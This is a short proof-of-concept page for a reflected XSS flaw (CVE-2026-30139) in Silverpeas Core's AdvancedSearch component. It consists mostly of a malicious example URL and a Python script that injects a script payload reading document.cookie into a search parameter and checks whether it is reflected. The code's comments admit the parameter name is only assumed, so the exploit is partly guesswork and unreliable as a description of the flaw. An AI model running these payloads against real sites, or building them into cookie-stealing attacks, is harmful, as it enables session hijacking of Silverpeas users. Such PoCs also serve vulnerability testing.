CVE-2026-30139 Silverpeas Core反射型XSS漏洞

// PoC for CVE-2026-30139 Reflected XSS in Silverpeas Core // The vulnerability exists in the AdvancedSearch component. // Attackers can inject malicious scripts via the search query parameters. // Example malicious URL: // http://vulnerable-silverpeas-domain/Search/AdvancedSearch?query=<script>alert('XSS')</script> // Python script to verify the vulnerability: import requests def check_xss(target_url): payload = "<script>alert(document.cookie)</script>" # Inject payload into a potential search parameter (parameter name may vary based on actual implementation) # Assuming 'query' based on standard search functionality description attack_url = f"{target_url}?query={payload}" try: response = requests.get(attack_url) if payload in response.text: print(f"[+] Vulnerability Confirmed! Payload reflected in response from {target_url}") else: print("[-] Payload not reflected or escaped.") except Exception as e: print(f"Error: {e}") # Usage: check_xss("http://target-ip/Search/AdvancedSearch")